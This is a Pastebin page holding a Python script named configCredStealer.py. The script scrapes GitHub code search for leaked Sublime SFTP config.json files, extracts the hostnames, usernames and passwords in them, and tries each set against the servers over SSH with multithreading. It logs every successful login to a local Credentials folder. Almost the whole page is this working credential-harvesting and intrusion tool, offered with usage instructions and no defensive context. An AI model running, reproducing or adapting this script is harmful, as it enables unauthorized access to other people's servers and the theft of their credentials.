Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import sys, os
- import urllib
- from bs4 import BeautifulSoup
- import paramiko, socket
- import concurrent.futures
- class bcolors:
- HEADER = '\033[95m'
- OKBLUE = '\033[94m'
- OKGREEN = '\033[92m'
- WARNING = '\033[93m'
- FAIL = '\033[91m'
- ENDC = '\033[0m'
- BOLD = '\033[1m'
- UNDERLINE = '\033[4m'
- class Credentials:
- def __init__(self, host, user, password):
- self.host = host
- self.user = user
- self.password = password
- def toString(self):
- return "Creds:\nhost= " + self.host + "\nuser= " + self.user + "\npassword= " + self.password
- def printAndLog(string, colorCode):
- print colorCode + string + bcolors.ENDC
- with open("progress.log", "a") as logfile:
- logfile.write(string)
- logfile.close()
- def testCredentials(credentials):
- sshClient = paramiko.SSHClient()
- sshClient.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- try:
- sshClient.connect(credentials.host, username=credentials.user, password=credentials.password, timeout=15) # if it passes the line it's because it connected successfuly
- sshClient.close()
- printAndLog("\nValid credentials for: " + credentials.host, bcolors.OKGREEN)
- credFile = open("Credentials/" + credentials.user + ":" + credentials.password, "w")
- credFile.write(credentials.toString())
- credFile.close()
- except (paramiko.BadHostKeyException, paramiko.AuthenticationException,
- paramiko.SSHException, socket.error), e:
- printAndLog("\nBad Credentials For: " + credentials.host, bcolors.FAIL)
- sshClient.close()
- printAndLog(e, bcolors.FAIL)
- def getPageAndCredentials(pageNumber, sizeParameter, threadPool):
- printAndLog("Retrieving HTML from page " + str(i), bcolors.OKBLUE)
- printAndLog("With size parameter = " + str(sizeParameter), bcolors.OKBLUE)
- startURL = "https://github.com"
- pageUrls = []
- size = "+size%3A" + sizeParameter if sizeParameter is not None else ""
- searchResultUrl = startURL + "/search?p=" + str(pageNumber) + "&q=%2F%2F+Visit+http%3A%2F%2Fwbond.net%2Fsublime_packages%2Fsftp%2Fsettings+for+help" + size + "&ref=searchresults&type=Code&utf8=%E2%9C%93"
- htlmRaw = urllib.urlopen(searchResultUrl).read()
- parsed_html, searchResultDiv = None, None
- try:
- parsed_html = BeautifulSoup(htlmRaw, "lxml")
- searchResultDiv = BeautifulSoup(parsed_html.body.find('div', attrs={'class':'code-list'}).prettify(), "lxml")
- except Exception as e:
- printAndLog("Error parsing, expected result page", bcolors.FAIL)
- return
- allDivs = searchResultDiv.body.findAll('div')
- for paragraph in parsed_html.body.findAll('p'):
- sub = paragraph.findAll("a")
- url = ""
- if len(sub) > 1:
- url = sub[1].get("href")
- if url is not None and ".json" in url:
- pageUrls.append(startURL + url)
- rawDocs = []
- for url in pageUrls:
- rawPage = urllib.urlopen(url).read()
- parsedPage = BeautifulSoup(rawPage, "lxml")
- rawHref = parsedPage.find("a", attrs={'id':'raw-url'}).get("href")
- rawDoc = urllib.urlopen(startURL + rawHref).read()
- rawDocs.append(rawDoc)
- printAndLog("\nRetrieved " + str(len(rawDocs)) + " raw config.json files from page " + str(pageNumber), bcolors.OKBLUE)
- creds = []
- for doc in rawDocs:
- host = ""
- user = ""
- password = ""
- for line in doc.split(","):
- if "\"host\"" in line:
- host = line.split(":")[1].split("\"")[1]
- if "\"user\"" in line:
- user = line.split(":")[1].split("\"")[1]
- if "\"password\"" in line:
- password = line.split(":")[1].split("\"")[1]
- if host != "" and user != "" and password != "":
- creds.append(Credentials(host, user, password))
- printAndLog("\nRetrieved " + str(len(creds)) + " credentials from " + str(len(rawDocs)) + " raw config files from page " + str(pageNumber),
- bcolors.OKBLUE)
- for cred in creds:
- threadPool.submit(testCredentials, cred)
- #Actual script start ****************************************************************************************************
- pageGetterThreads = 5
- testerThreads = 5
- firstPage = 1
- lastPage = 100
- sizeParameter = None
- args = args = sys.argv[1:]
- possible_args = [ "-h", "--help"
- "-p", "--pages",
- "-tt", "--threads",
- "-pt", "--pageThreads",
- "-gt", "--greater",
- "-lt", "--lesser"]
- skip_next = False
- if "-h" in args or "--help" in args:
- print "Usage: ./configCredStealer.py [param] [value]"
- print "Parameters: "
- print "-p or --pages for the range of pages -> format: [min]-[max]"
- print "-tt or --threads for the max number of threads testing SSH credentials"
- print "-pt or --pageThreads for the max number of threads retrieving the html page and credentials"
- print "-gt and/or -lt for the size parameter, adds 'size:>XXX' or 'size:<XXX' to the search query"
- sys.exit()
- for i in range(len(args)):
- if skip_next:
- skip_next = False
- continue
- if args[i] not in possible_args:
- print "Invalid argument: '" + args[i] + "' ignored"
- if args[i] == "-p" or args[i] == "--pages":
- try:
- minmax = args[i+1].split("-")
- firstPage = int(minmax[0])
- lastPage = int(minmax[1])
- if firstPage < 1:
- firstPage = 1
- if lastPage > 100:
- lastPage = 100
- skip_next = True
- except Exception, e:
- sys.exit("Pages must be in [min]-[max] format!")
- if args[i] == "-gt" or args[i] == "--greater":
- try:
- sizeParam = args[i+1]
- sizeParameter = ">" + sizeParam
- skip_next = True
- except Exception, e:
- sys.exit("Size parameter '-gt' should include followed by a number.")
- if args[i] == "-lt" or args[i] == "--lesser":
- try:
- sizeParam = args[i+1]
- sizeParameter = "<" + sizeParam
- skip_next = True
- except Exception, e:
- sys.exit("Size parameter '-gt' should include followed by a number.")
- if args[i] == "-tt" or args[i] == "--testerThreads":
- try:
- testerThreads = int(args[i+1])
- skip_next = True
- except Exception, e:
- sys.exit("-tt parameter should be followed by a single integer.")
- if args[i] == "-pt" or args[i] == "--pageThreads":
- try:
- pageGetterThreads = int(args[i+1])
- skip_next = True
- except Exception, e:
- sys.exit("-pt parameter should be followed by a single integer.")
- #Creating 2 threadpools for both tasks (getting credentials, testing credentials)
- pageCredRetrieverPool = concurrent.futures.ThreadPoolExecutor(max_workers=pageGetterThreads)
- sshTestPool = concurrent.futures.ThreadPoolExecutor(max_workers=testerThreads)
- if not os.path.exists("Credentials"):
- os.makedirs("Credentials")
- with concurrent.futures.ThreadPoolExecutor(max_workers=pageGetterThreads) as executor:
- for i in range(firstPage, lastPage+1):
- executor.submit(getPageAndCredentials, i, sizeParameter, sshTestPool)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement